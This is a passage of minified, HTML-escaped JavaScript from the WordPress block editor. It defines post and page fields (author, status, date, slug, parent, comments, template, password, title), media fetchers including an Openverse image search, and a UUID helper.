avatar&quot;),src:s})}),!s&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:&quot;page-templates-author-field__icon&quot;,children:(0,c.jsx)(Hn.Icon,{icon:hr})}),(0,c.jsx)(&quot;span&quot;,{className:&quot;page-templates-author-field__name&quot;,children:t})]})};const _r={label:(0,fs.__)(&quot;Author&quot;),id:&quot;author&quot;,type:&quot;integer&quot;,getElements:async()=&gt;(await(0,d.resolveSelect)(u.store).getEntityRecords(&quot;root&quot;,&quot;user&quot;,{per_page:-1})??[]).map((({id:e,name:t})=&gt;({value:e,label:t}))),render:gr,sort:(e,t,s)=&gt;{const n=e._embedded?.author?.[0]?.name||&quot;&quot;,o=t._embedded?.author?.[0]?.name||&quot;&quot;;return&quot;asc&quot;===s?n.localeCompare(o):o.localeCompare(n)},filterBy:{operators:[&quot;isAny&quot;,&quot;isNone&quot;]}};var fr=_r,br=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z&quot;})}),yr=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z&quot;})}),xr=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z&quot;})}),vr=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z&quot;})}),wr=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z&quot;})});var Sr=[{value:&quot;draft&quot;,label:(0,fs.__)(&quot;Draft&quot;),icon:br,description:(0,fs.__)(&quot;Not ready to publish.&quot;)},{value:&quot;future&quot;,label:(0,fs.__)(&quot;Scheduled&quot;),icon:yr,description:(0,fs.__)(&quot;Publish automatically on a chosen date.&quot;)},{value:&quot;pending&quot;,label:(0,fs.__)(&quot;Pending Review&quot;),icon:xr,description:(0,fs.__)(&quot;Waiting for review before publishing.&quot;)},{value:&quot;private&quot;,label:(0,fs.__)(&quot;Private&quot;),icon:vr,description:(0,fs.__)(&quot;Only visible to site admins and editors.&quot;)},{value:&quot;publish&quot;,label:(0,fs.__)(&quot;Published&quot;),icon:wr,description:(0,fs.__)(&quot;Visible to everyone.&quot;)},{value:&quot;trash&quot;,label:(0,fs.__)(&quot;Trash&quot;),icon:Jo}];var kr=function({item:e}){const t=Sr.find((({value:t})=&gt;t===e.status)),s=t?.label||e.status,n=t?.icon;return(0,c.jsxs)(Hn.__experimentalHStack,{alignment:&quot;left&quot;,spacing:0,children:[n&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:&quot;edit-site-post-list__status-icon&quot;,children:(0,c.jsx)(Hn.Icon,{icon:n})}),(0,c.jsx)(&quot;span&quot;,{children:s})]})};var Cr={label:(0,fs.__)(&quot;Status&quot;),id:&quot;status&quot;,type:&quot;text&quot;,elements:Sr,render:kr,Edit:&quot;radio&quot;,enableSorting:!1,filterBy:{operators:[&quot;isAny&quot;]}};const Pr=e=&gt;(0,v.dateI18n)((0,v.getSettings)().formats.datetimeAbbreviated,(0,v.getDate)(e));var jr=({item:e})=&gt;{if([&quot;draft&quot;,&quot;private&quot;].includes(e.status??&quot;&quot;))return(0,p.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&quot;&lt;span&gt;Modified: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Pr(e.date??null)),{span:(0,c.jsx)(&quot;span&quot;,{}),time:(0,c.jsx)(&quot;time&quot;,{})});if(&quot;future&quot;===e.status)return(0,p.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&quot;&lt;span&gt;Scheduled: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Pr(e.date??null)),{span:(0,c.jsx)(&quot;span&quot;,{}),time:(0,c.jsx)(&quot;time&quot;,{})});if(&quot;publish&quot;===e.status)return(0,p.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&quot;&lt;span&gt;Published: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Pr(e.date??null)),{span:(0,c.jsx)(&quot;span&quot;,{}),time:(0,c.jsx)(&quot;time&quot;,{})});const t=(0,v.getDate)(e.modified??null)&gt;(0,v.getDate)(e.date??null)?e.modified:e.date;return&quot;pending&quot;===e.status?(0,p.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&quot;&lt;span&gt;Modified: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Pr(t??null)),{span:(0,c.jsx)(&quot;span&quot;,{}),time:(0,c.jsx)(&quot;time&quot;,{})}):(0,c.jsx)(&quot;time&quot;,{children:Pr(e.date??null)})};var Er={id:&quot;date&quot;,type:&quot;datetime&quot;,label:(0,fs.__)(&quot;Date&quot;),render:jr,filterBy:!1},Tr=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z&quot;})});const Ir=e=&gt;&quot;object&quot;!=typeof e?&quot;&quot;:e.slug||(0,w.cleanForSlug)(no(e))||e.id.toString(),Br=({field:e,onChange:t,data:s})=&gt;{const{id:n}=e,o=e.getValue({item:s})||Ir(s),r=s.permalink_template||&quot;&quot;,i=/%(?:postname|pagename)%/,[a,l]=r.split(i),u=a,h=l,g=i.test(r),_=(0,p.useRef)(o),f=o||_.current,b=g?`${u}${f}${h}`:(0,w.safeDecodeURIComponent)(s.link||&quot;&quot;);(0,p.useEffect)((()=&gt;{o&amp;&amp;void 0===_.current&amp;&amp;(_.current=o)}),[o]);const y=(0,p.useCallback)((e=&gt;t({[n]:e})),[n,t]),{createNotice:x}=(0,d.useDispatch)(_s.store),v=(0,m.useCopyToClipboard)(b,(()=&gt;{x(&quot;info&quot;,(0,fs.__)(&quot;Copied Permalink to clipboard.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})})),S=&quot;editor-post-url__slug-description-&quot;+(0,m.useInstanceId)(Br);return(0,c.jsxs)(&quot;fieldset&quot;,{className:&quot;fields-controls__slug&quot;,children:[g&amp;&amp;(0,c.jsxs)(Hn.__experimentalVStack,{children:[(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;0px&quot;,children:[(0,c.jsx)(&quot;span&quot;,{children:(0,fs.__)(&quot;Customize the last part of the Permalink.&quot;)}),(0,c.jsx)(Hn.ExternalLink,{href:&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink&quot;,children:(0,fs.__)(&quot;Learn more&quot;)})]}),(0,c.jsx)(Hn.__experimentalInputControl,{__next40pxDefaultSize:!0,prefix:(0,c.jsx)(Hn.__experimentalInputControlPrefixWrapper,{children:&quot;/&quot;}),suffix:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,icon:Tr,ref:v,label:(0,fs.__)(&quot;Copy&quot;)}),label:(0,fs.__)(&quot;Link&quot;),hideLabelFromVision:!0,value:o,autoComplete:&quot;off&quot;,spellCheck:&quot;false&quot;,type:&quot;text&quot;,className:&quot;fields-controls__slug-input&quot;,onChange:e=&gt;{y(e)},onBlur:()=&gt;{&quot;&quot;===o&amp;&amp;y(_.current)},&quot;aria-describedby&quot;:S}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;fields-controls__slug-help&quot;,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-visual-label&quot;,children:(0,fs.__)(&quot;Permalink:&quot;)}),(0,c.jsxs)(Hn.ExternalLink,{className:&quot;fields-controls__slug-help-link&quot;,href:b,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-prefix&quot;,children:u}),(0,c.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-slug&quot;,children:f}),(0,c.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-suffix&quot;,children:h})]})]})]}),!g&amp;&amp;(0,c.jsx)(Hn.ExternalLink,{className:&quot;fields-controls__slug-help&quot;,href:b,children:b})]})};var Nr=Br;var Rr=({item:e})=&gt;{const t=Ir(e),s=(0,p.useRef)(t);(0,p.useEffect)((()=&gt;{t&amp;&amp;void 0===s.current&amp;&amp;(s.current=t)}),[t]);return`${t||s.current}`};var Dr={id:&quot;slug&quot;,type:&quot;text&quot;,label:(0,fs.__)(&quot;Slug&quot;),Edit:Nr,render:Rr,filterBy:!1},Ar=s(9681),Mr=s.n(Ar);function Lr(e){return&quot;object&quot;==typeof e.title&amp;&amp;&quot;rendered&quot;in e.title&amp;&amp;e.title.rendered?(0,Ln.decodeEntities)(e.title.rendered):`#${e?.id} (${(0,fs.__)(&quot;no title&quot;)})`}const Or=(e,t)=&gt;{const s=Mr()(e||&quot;&quot;).toLowerCase(),n=Mr()(t||&quot;&quot;).toLowerCase();return s===n?0:s.startsWith(n)?s.length:1/0};function Fr({data:e,onChangeControl:t}){const[s,n]=(0,p.useState)(null),o=e.parent,r=e.id,i=e.type,{parentPostTitle:a,pageItems:l,isHierarchical:h}=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t,getEntityRecords:n,getPostType:a}=e(u.store),l=a(i),c=l?.hierarchical&amp;&amp;l.viewable,d=o?t(&quot;postType&quot;,i,o):null,p={per_page:100,exclude:r,parent_exclude:r,orderby:&quot;menu_order&quot;,order:&quot;asc&quot;,_fields:&quot;id,title,parent&quot;,...null!==s&amp;&amp;{search:s}};return{isHierarchical:c,parentPostTitle:d?Lr(d):&quot;&quot;,pageItems:c?n(&quot;postType&quot;,i,p):null}}),[s,o,r,i]),g=(0,p.useMemo)((()=&gt;{const e=(t,n=0)=&gt;{const o=t.map((t=&gt;[{value:t.id,label:&quot;— &quot;.repeat(n)+(0,Ln.decodeEntities)(t.name),rawName:t.name},...e(t.children||[],n+1)])).sort((([e],[t])=&gt;Or(e.rawName,s??&quot;&quot;)&gt;=Or(t.rawName,s??&quot;&quot;)?1:-1));return o.flat()};if(!l)return[];let t=l.map((e=&gt;({id:e.id,parent:e.parent??null,name:Lr(e)})));s||(t=function(e){const t=e.map((e=&gt;({children:[],...e})));if(t.some((({parent:e})=&gt;null==e)))return t;const s=t.reduce(((e,t)=&gt;{const{parent:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),n=e=&gt;e.map((e=&gt;{const t=s[e.id];return{...e,children:t&amp;&amp;t.length?n(t):[]}}));return n(s[0]||[])}(t));const n=e(t),r=n.find((e=&gt;e.value===o));return o&amp;&amp;a&amp;&amp;!r&amp;&amp;n.unshift({value:o,label:a,rawName:&quot;&quot;}),n.map((e=&gt;({...e,value:e.value.toString()})))}),[l,s,a,o]);if(!h)return null;return(0,c.jsx)(Hn.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Parent&quot;),help:(0,fs.__)(&quot;Choose a parent page.&quot;),value:o?.toString(),options:g,onFilterValueChange:(0,m.debounce)((e=&gt;{n(e)}),300),onChange:e=&gt;{if(e)return t(parseInt(e,10)??0);t(0)},hideLabelFromVision:!0})}var Vr={id:&quot;parent&quot;,type:&quot;text&quot;,label:(0,fs.__)(&quot;Parent&quot;),Edit:({data:e,field:t,onChange:s})=&gt;{const{id:n}=t,o=(0,d.useSelect)((e=&gt;e(u.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home),[]),r=(0,p.useCallback)((e=&gt;s({[n]:e})),[n,s]);return(0,c.jsx)(&quot;fieldset&quot;,{className:&quot;fields-controls__parent&quot;,children:(0,c.jsxs)(&quot;div&quot;,{children:[(0,p.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&#039;Child pages inherit characteristics from their parent, such as URL structure. For instance, if &quot;Pricing&quot; is a child of &quot;Services&quot;, its URL would be %1$s&lt;wbr /&gt;/services&lt;wbr /&gt;/pricing.&#039;),(0,w.filterURLForDisplay)(o).replace(/([/.])/g,&quot;&lt;wbr /&gt;$1&quot;)),{wbr:(0,c.jsx)(&quot;wbr&quot;,{})}),(0,c.jsx)(&quot;p&quot;,{children:(0,p.createInterpolateElement)((0,fs.__)(&quot;They also show up as sub-items in the default navigation menu. &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{a:(0,c.jsx)(Hn.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes&quot;),children:void 0})})}),(0,c.jsx)(Fr,{data:e,onChangeControl:r})]})})},render:({item:e})=&gt;{const t=(0,d.useSelect)((t=&gt;{const{getEntityRecord:s}=t(u.store);return e?.parent?s(&quot;postType&quot;,e.type,e.parent):null}),[e.parent,e.type]);return t?(0,c.jsx)(c.Fragment,{children:Lr(t)}):(0,c.jsx)(c.Fragment,{children:(0,fs.__)(&quot;None&quot;)})},enableSorting:!0,filterBy:!1};var Ur={id:&quot;comment_status&quot;,label:(0,fs.__)(&quot;Comments&quot;),type:&quot;text&quot;,Edit:&quot;radio&quot;,enableSorting:!1,enableHiding:!1,filterBy:!1,elements:[{value:&quot;open&quot;,label:(0,fs.__)(&quot;Open&quot;),description:(0,fs.__)(&quot;Visitors can add new comments and replies.&quot;)},{value:&quot;closed&quot;,label:(0,fs.__)(&quot;Closed&quot;),description:(0,fs.__)(&quot;Visitors cannot add new comments or replies. Existing comments remain visible.&quot;)}]};var Hr={id:&quot;ping_status&quot;,label:(0,fs.__)(&quot;Trackbacks &amp; Pingbacks&quot;),type:&quot;text&quot;,Edit:function({data:e,onChange:t}){const s=e?.ping_status??&quot;open&quot;;return(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Enable pingbacks &amp; trackbacks&quot;),checked:&quot;open&quot;===s,onChange:s=&gt;{t({...e,ping_status:s?&quot;open&quot;:&quot;closed&quot;})},help:(0,c.jsx)(Hn.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/trackbacks-and-pingbacks/&quot;),children:(0,fs.__)(&quot;Learn more about pingbacks &amp; trackbacks&quot;)})})},enableSorting:!1,enableHiding:!1,filterBy:!1,elements:[{value:&quot;open&quot;,label:(0,fs.__)(&quot;Allow&quot;),description:(0,fs.__)(&quot;Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.&quot;)},{value:&quot;closed&quot;,label:(0,fs.__)(&quot;Don&#039;t allow&quot;),description:(0,fs.__)(&quot;Don&#039;t allow link notifications from other blogs (pingbacks and trackbacks) on new articles.&quot;)}]};var zr={id:&quot;discussion&quot;,label:(0,fs.__)(&quot;Discussion&quot;),type:&quot;text&quot;,render:({item:e})=&gt;{const t=&quot;open&quot;===e.comment_status,s=&quot;open&quot;===e.ping_status;return t&amp;&amp;s?(0,fs.__)(&quot;Open&quot;):t&amp;&amp;!s?(0,fs.__)(&quot;Comments only&quot;):!t&amp;&amp;s?(0,fs.__)(&quot;Pings only&quot;):(0,fs.__)(&quot;Closed&quot;)},filterBy:!1};const Gr=[],$r={id:&quot;template&quot;,type:&quot;text&quot;,label:(0,fs.__)(&quot;Template&quot;),Edit:({data:e,field:t,onChange:s})=&gt;{const{id:n}=t,o=e.type,r=&quot;number&quot;==typeof e.id?e.id:parseInt(e.id,10),i=e.slug,{canSwitchTemplate:a,templates:l}=(0,d.useSelect)((e=&gt;{const t=e(u.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1,post_type:o})??Gr,{getHomePage:s,getPostsPageId:n}=co(e(u.store)),i=n()===+r,a=&quot;page&quot;===o&amp;&amp;s()?.postId===+r;return{templates:t,canSwitchTemplate:!i&amp;&amp;!a}}),[r,o]),h=(0,p.useMemo)((()=&gt;a?l.filter((t=&gt;t.is_custom&amp;&amp;t.slug!==e.template&amp;&amp;!!t.content.raw)).map((e=&gt;({name:e.slug,blocks:(0,x.parse)(e.content.raw),title:(0,Ln.decodeEntities)(e.title.rendered),id:e.id}))):[]),[a,e.template,l]),_=(0,m.useAsyncList)(h),f=t.getValue({item:e}),b=l.find((e=&gt;e.slug===f)),y=(0,d.useSelect)((e=&gt;{if(b)return b;let t;if(t=i?&quot;page&quot;===o?`${o}-${i}`:`single-${o}-${i}`:&quot;page&quot;===o?&quot;page&quot;:`single-${o}`,o){const s=e(u.store).getDefaultTemplateId({slug:t});return e(u.store).getEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,s)}}),[b,o,i]),[v,w]=(0,p.useState)(!1),S=(0,p.useCallback)((e=&gt;s({[n]:e})),[n,s]);return(0,c.jsxs)(&quot;fieldset&quot;,{className:&quot;fields-controls__template&quot;,children:[(0,c.jsx)(Hn.Dropdown,{popoverProps:{placement:&quot;bottom-start&quot;},renderToggle:({onToggle:e})=&gt;(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,size:&quot;compact&quot;,onClick:e,children:y?no(y):&quot;&quot;}),renderContent:({onToggle:e})=&gt;(0,c.jsxs)(Hn.MenuGroup,{children:[(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;{w(!0),e()},children:(0,fs.__)(&quot;Change template&quot;)}),&quot;&quot;!==f&amp;&amp;(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;{S(&quot;&quot;),e()},children:(0,fs.__)(&quot;Use default template&quot;)})]})}),v&amp;&amp;(0,c.jsx)(Hn.Modal,{title:(0,fs.__)(&quot;Choose a template&quot;),onRequestClose:()=&gt;w(!1),overlayClassName:&quot;fields-controls__template-modal&quot;,isFullScreen:!0,children:(0,c.jsx)(&quot;div&quot;,{className:&quot;fields-controls__template-content&quot;,children:(0,c.jsx)(g.__experimentalBlockPatternsList,{label:(0,fs.__)(&quot;Templates&quot;),blockPatterns:h,shownPatterns:_,onClickPattern:e=&gt;{S(e.name),w(!1)}})})})]})},enableSorting:!1,filterBy:!1};var Wr=$r;var Zr=function({data:e,onChange:t,field:s}){const[n,o]=(0,p.useState)(!!s.getValue({item:e}));return(0,c.jsxs)(Hn.__experimentalVStack,{as:&quot;fieldset&quot;,spacing:4,className:&quot;fields-controls__password&quot;,children:[(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Password protected&quot;),help:(0,fs.__)(&quot;Only visible to those who know the password&quot;),checked:n,onChange:e=&gt;{o(e),e||t({password:&quot;&quot;})}}),n&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:&quot;fields-controls__password-input&quot;,children:(0,c.jsx)(Hn.TextControl,{label:(0,fs.__)(&quot;Password&quot;),onChange:e=&gt;t({password:e}),value:s.getValue({item:e})||&quot;&quot;,placeholder:(0,fs.__)(&quot;Use a secure password&quot;),type:&quot;text&quot;,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,maxLength:255})})]})};var Yr={id:&quot;password&quot;,type:&quot;text&quot;,label:(0,fs.__)(&quot;Password&quot;),Edit:Zr,enableSorting:!1,enableHiding:!1,isVisible:e=&gt;&quot;private&quot;!==e.status,filterBy:!1};function qr({item:e,className:t,children:s}){const n=no(e);return(0,c.jsxs)(Hn.__experimentalHStack,{className:mr(&quot;fields-field__title&quot;,t),alignment:&quot;center&quot;,justify:&quot;flex-start&quot;,children:[(0,c.jsx)(&quot;span&quot;,{children:n||(0,fs.__)(&quot;(no title)&quot;)}),s]})}function Kr({item:e}){return(0,c.jsx)(qr,{item:e})}const{Badge:Qr}=co(Hn.privateApis);var Xr={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,fs.__)(&quot;Title&quot;),placeholder:(0,fs.__)(&quot;No title&quot;),getValue:({item:e})=&gt;no(e),render:function({item:e}){const{frontPageId:t,postsPageId:s}=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t}=e(u.store),s=t(&quot;root&quot;,&quot;site&quot;);return{frontPageId:s?.page_on_front,postsPageId:s?.page_for_posts}}),[]);return(0,c.jsx)(qr,{item:e,className:&quot;fields-field__page-title&quot;,children:[t,s].includes(e.id)&amp;&amp;(0,c.jsx)(Qr,{children:e.id===t?(0,fs.__)(&quot;Homepage&quot;):(0,fs.__)(&quot;Posts Page&quot;)})})},enableHiding:!1,enableGlobalSearch:!0,filterBy:!1};var Jr={type:&quot;text&quot;,label:(0,fs.__)(&quot;Template&quot;),placeholder:(0,fs.__)(&quot;No title&quot;),id:&quot;title&quot;,getValue:({item:e})=&gt;no(e),render:Kr,enableHiding:!1,enableGlobalSearch:!0,filterBy:!1},ei=(0,p.forwardRef)((({icon:e,size:t=24,...s},n)=&gt;(0,p.cloneElement)(e,{width:t,height:t,...s,ref:n}))),ti=(0,c.jsx)(L.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z&quot;})});const{PATTERN_TYPES:si}=co(ao.privateApis);var ni={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,fs.__)(&quot;Title&quot;),placeholder:(0,fs.__)(&quot;No title&quot;),getValue:({item:e})=&gt;no(e),render:function({item:e}){return(0,c.jsx)(qr,{item:e,className:&quot;fields-field__pattern-title&quot;,children:e.type===si.theme&amp;&amp;(0,c.jsx)(Hn.Tooltip,{placement:&quot;top&quot;,text:(0,fs.__)(&quot;This pattern cannot be edited.&quot;),children:(0,c.jsx)(ei,{icon:ti,size:24})})})},enableHiding:!1,enableGlobalSearch:!0,filterBy:!1};var oi={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,fs.__)(&quot;Title&quot;),placeholder:(0,fs.__)(&quot;No title&quot;),getValue:({item:e})=&gt;no(e),render:Kr,enableHiding:!0,enableGlobalSearch:!0,filterBy:!1};var ri=(0,m.createHigherOrderComponent)((e=&gt;({useSubRegistry:t=!0,...s})=&gt;{const n=(0,d.useRegistry)(),[o]=(0,p.useState)((()=&gt;new WeakMap)),r=function(e,t,s){if(!s)return t;let n=e.get(t);return n||(n=(0,d.createRegistry)({&quot;core/block-editor&quot;:g.storeConfig},t),n.registerStore(&quot;core/editor&quot;,xc),e.set(t,n)),n}(o,n,t);return r===n?(0,c.jsx)(e,{registry:n,...s}):(0,c.jsx)(d.RegistryProvider,{value:r,children:(0,c.jsx)(e,{registry:r,...s})})}),&quot;withRegistryProvider&quot;);const ii=(e,t)=&gt;`&lt;a ${ai(e)}&gt;${t}&lt;/a&gt;`,ai=e=&gt;`href=&quot;${e}&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;`,li=e=&gt;{const{title:t,foreign_landing_url:s,creator:n,creator_url:o,license:r,license_version:i,license_url:a}=e,l=((e,t)=&gt;{let s=e.trim();return&quot;pdm&quot;!==e&amp;&amp;(s=e.toUpperCase().replace(&quot;SAMPLING&quot;,&quot;Sampling&quot;)),t&amp;&amp;(s+=` ${t}`),[&quot;pdm&quot;,&quot;cc0&quot;].includes(e)||(s=`CC ${s}`),s})(r,i),c=(0,Ln.decodeEntities)(n);let d;return d=c?t?(0,fs.sprintf)((0,fs._x)(&#039;&quot;%1$s&quot; by %2$s/ %3$s&#039;,&quot;caption&quot;),ii(s,(0,Ln.decodeEntities)(t)),o?ii(o,c):c,a?ii(`${a}?ref=openverse`,l):l):(0,fs.sprintf)((0,fs._x)(&quot;&lt;a %1$s&gt;Work&lt;/a&gt; by %2$s/ %3$s&quot;,&quot;caption&quot;),ai(s),o?ii(o,c):c,a?ii(`${a}?ref=openverse`,l):l):t?(0,fs.sprintf)((0,fs._x)(&#039;&quot;%1$s&quot;/ %2$s&#039;,&quot;caption&quot;),ii(s,(0,Ln.decodeEntities)(t)),a?ii(`${a}?ref=openverse`,l):l):(0,fs.sprintf)((0,fs._x)(&quot;&lt;a %1$s&gt;Work&lt;/a&gt;/ %2$s&quot;,&quot;caption&quot;),ai(s),a?ii(`${a}?ref=openverse`,l):l),d.replace(/\s{2}/g,&quot; &quot;)},ci=async(e={})=&gt;(await(0,d.resolveSelect)(u.store).getEntityRecords(&quot;postType&quot;,&quot;attachment&quot;,{...e,orderBy:e?.search?&quot;relevance&quot;:&quot;date&quot;})).map((e=&gt;({...e,alt:e.alt_text,url:e.source_url,previewUrl:e.media_details?.sizes?.medium?.source_url,caption:e.caption?.raw})));var di=[{name:&quot;images&quot;,labels:{name:(0,fs.__)(&quot;Images&quot;),search_items:(0,fs.__)(&quot;Search images&quot;)},mediaType:&quot;image&quot;,fetch:async(e={})=&gt;ci({...e,media_type:&quot;image&quot;})},{name:&quot;videos&quot;,labels:{name:(0,fs.__)(&quot;Videos&quot;),search_items:(0,fs.__)(&quot;Search videos&quot;)},mediaType:&quot;video&quot;,fetch:async(e={})=&gt;ci({...e,media_type:&quot;video&quot;})},{name:&quot;audio&quot;,labels:{name:(0,fs.__)(&quot;Audio&quot;),search_items:(0,fs.__)(&quot;Search audio&quot;)},mediaType:&quot;audio&quot;,fetch:async(e={})=&gt;ci({...e,media_type:&quot;audio&quot;})},{name:&quot;openverse&quot;,labels:{name:(0,fs.__)(&quot;Openverse&quot;),search_items:(0,fs.__)(&quot;Search Openverse&quot;)},mediaType:&quot;image&quot;,async fetch(e={}){const t={...e,mature:!1,excluded_source:&quot;flickr,inaturalist,wikimedia&quot;,license:&quot;pdm,cc0&quot;},s={per_page:&quot;page_size&quot;,search:&quot;q&quot;},n=new URL(&quot;https://api.openverse.org/v1/images/&quot;);Object.entries(t).forEach((([e,t])=&gt;{const o=s[e]||e;n.searchParams.set(o,t)}));const o=await window.fetch(n,{headers:{&quot;User-Agent&quot;:&quot;WordPress/inserter-media-fetch&quot;}});return(await o.json()).results.map((e=&gt;({...e,title:e.title?.toLowerCase().startsWith(&quot;file:&quot;)?e.title.slice(5):e.title,sourceId:e.id,id:void 0,caption:li(e),previewUrl:e.thumbnail})))},getReportUrl:({sourceId:e})=&gt;`https://wordpress.org/openverse/image/${e}/report/`,isExternalResource:!0}];const ui={randomUUID:&quot;undefined&quot;!=typeof crypto&amp;&amp;crypto.randomUUID&amp;&amp;crypto.randomUUID.bind(crypto)};let pi;const mi=new Uint8Array(16);function hi(){if(!pi&amp;&amp;(pi=&quot;undefined&quot;!=typeof crypto&amp;&amp;crypto.getRandomValues&amp;&amp;crypto.getRandomValues.bind(crypto),!pi))throw new Error(&quot;crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported&quot;);return pi(mi)}const gi=[];for(let e=0;e&lt;256;++e)gi.push((e+256).toString(16).slice(1));function _i(e,t=0){return gi[e[t+0]]+gi[e[t+1]]+gi[e[t+2]]+gi[e[t+3]]+&quot;-&quot;+gi[e[t+4]]+gi[e[t+5]]+&quot;-&quot;+gi[e[t+6]]+gi[e[t+7]]+&quot;-&quot;+gi[e[t+8]]+gi[e[t+9]]+&quot;-&quot;+gi[e[t+10]]+gi[e[t+11]]+gi[e[t+12]]+gi[e[t+13]]+gi[e[t+14]]+gi[e[t+15]]}const 